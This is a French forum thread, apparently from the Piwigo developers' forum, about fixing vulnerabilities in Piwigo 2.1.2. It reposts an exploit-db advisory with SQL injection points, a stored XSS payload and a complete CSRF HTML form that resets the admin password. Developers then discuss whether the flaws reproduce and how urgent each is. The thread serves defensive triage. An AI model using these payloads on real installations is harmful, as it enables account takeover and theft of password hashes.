Hello,
Quelques bugs majeurs de sécurité à corriger pour la prochaine version sur ce lien :
http://www.exploit-db.com/exploits/14973/
--=Sql injection=--
http://www.target.com/path/comments.php … &cat=1[SQLi]&since=1&sort_by=date&sort_order=DESC&items_number=5
http://www.target.com/path/picture.php?1sweet[SQLi]&action=rate=0
http://www.target.com/path/index.php?/search/10[SQli]
--=Stored Xss=--
Admin login required
Attack pattern : >'<script>alert("Sweet")</script>
http://www.target.com/path/admin.php?page=tags
The POST variable "Nouveau tag" is vulnerable to a stored xss attack
http://www.target.com/path/admin.php?page=cat_list
The POST variable "Ajouter une catégorie virtuelle" is vulnerable to a stored xss attack
--=CSRF=--
Change admin password exploit
<html>
<body>
<h1>Piwigo-2.1.2 Change admin password CSRF </h1>
<form method="POST" name="form0" action="http://www.target.com/path/admin.php?page=profile&user_id=1">
<input type="hidden" name="redirect" value="admin.php?page"/>
<input type="hidden" name="mail_address" value="charif38@hotmail.fr"/> <!-- Your email here -->
<input type="hidden" name="use_new_pwd" value="sweet"/> <!-- Your password here -->
<input type="hidden" name="passwordConf" value="sweet"/> <!-- Your password here -->
<input type="hidden" name="nb_image_line" value="5"/>
<input type="hidden" name="nb_line_page" value="3"/>
<input type="hidden" name="theme" value="Sylvia"/>
<input type="hidden" name="language" value="fr_FR"/>
<input type="hidden" name="recent_period" value="7"/>
<input type="hidden" name="expand" value="false"/>
<input type="hidden" name="show_nb_comments" value="false"/>
<input type="hidden" name="show_nb_hits" value="false"/>
<input type="hidden" name="maxwidth" value=""/>
<input type="hidden" name="maxheight" value=""/>
<p> Push the Button <input type="submit" name="validate" value="Valider"/> </p>
</form>
<form method="GET" name="form1" action="http://www.target.com/path/admin.php?page=user_list">
<input type="hidden" name="name" value="value"/>
</form>
</body>
</html>
Je suis dessus et j'ai demandé à mes coéquipiers de l'équipe de dev leurs avis sur la question.
J'ai investigué hier soir et les 3 failles importantes (les SQL injections) je ne peux pas les reproduire : le code de Piwigo est déjà protégé. J'ai demandé à celui qui a "découvert" la faille de me donner des détails.
La faille XSS quand on est connecté admin, c'est très mineur.
La faille CSRF, oui il faut corriger. C'est difficile à exploiter pour un pirate, mais il faut la corriger pour la 2.1.3.
Hors ligne
Hello plg,
J'avais découvert la faille Vendredi en utilisant un outil de scan automatique (pour la ptite pub, acunetix 7), et il m'avait sortis quasiment les même vuln (sauf 1 sql).
J'avais ensuite essayé d'exploiter les Injection SQL et c'est possible (par exemple de recup. les hashs utilisateurs) donc en termes de priorité, vaut mieux les mettre en haut de la pile.
Un CSRF, oui c'est assez compliqué à corriger (l'ajout d'un token aleatoire sur chaque page et verification qu'il existe par exemple) et difficilement exploitable.
Il y a un XSS facilement corrigeable aussi dans : identification.php, le parametre "redirect" est vulnerable.
Enfin, une injection dans l'entete ou faille CRLF : ws.php?format=json&image_id=420&method=[CRLF]&rate=0.
Voila si vous avez besoin d'un coup de main, n'hesitez pas !
Ah oui, pour reproduire la faille je peux t'envoyer le PoC. Envoie moi un mail si ca t'interesse.
Skyshy a écrit:
Un CSRF, oui c'est assez compliqué à corriger (l'ajout d'un token aleatoire sur chaque page et verification qu'il existe par exemple) et difficilement exploitable.
On a déjà un mécanisme pour protéger des CSRF, mais pas sur la page en question.
Hors ligne